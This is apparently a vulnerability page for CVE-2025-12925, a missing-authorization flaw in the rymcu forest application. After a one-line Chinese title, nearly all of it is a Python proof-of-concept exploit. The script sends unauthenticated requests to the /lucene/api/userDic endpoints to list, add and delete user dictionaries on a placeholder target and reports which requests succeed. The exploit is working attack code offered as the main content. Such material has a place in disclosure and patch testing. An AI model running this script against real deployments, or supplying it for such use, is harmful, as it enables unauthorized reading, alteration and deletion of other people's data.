CVE-2025-12925 rymcu forest UserDicController接口未授权访问漏洞

# CVE-2025-12925 PoC - Missing Authorization in rymcu forest UserDicController # Target: rymcu forest application # Vulnerability: Unauthenticated access to user dictionary management APIs import requests import json target = "http://target-rymcu-forest.com" def poc_get_all_dic(): """Get all user dictionaries without authentication""" url = f"{target}/lucene/api/userDic/getAllDic" try: response = requests.get(url, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Success! Retrieved dictionaries without auth.") print(f"[*] Response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False def poc_add_dic(dic_name="test_dic", content="test"): """Add a new dictionary without authentication""" url = f"{target}/lucene/api/userDic/addDic" payload = { "name": dic_name, "content": content } try: response = requests.post(url, json=payload, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Dictionary added without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False def poc_delete_dic(dic_id=1): """Delete a dictionary without authentication""" url = f"{target}/lucene/api/userDic/deleteDic" payload = { "id": dic_id } try: response = requests.post(url, json=payload, timeout=10) print(f"[*] Request to {url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Dictionary deleted without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12925 PoC - Missing Authorization") print("=" * 60) poc_get_all_dic() print("-" * 60)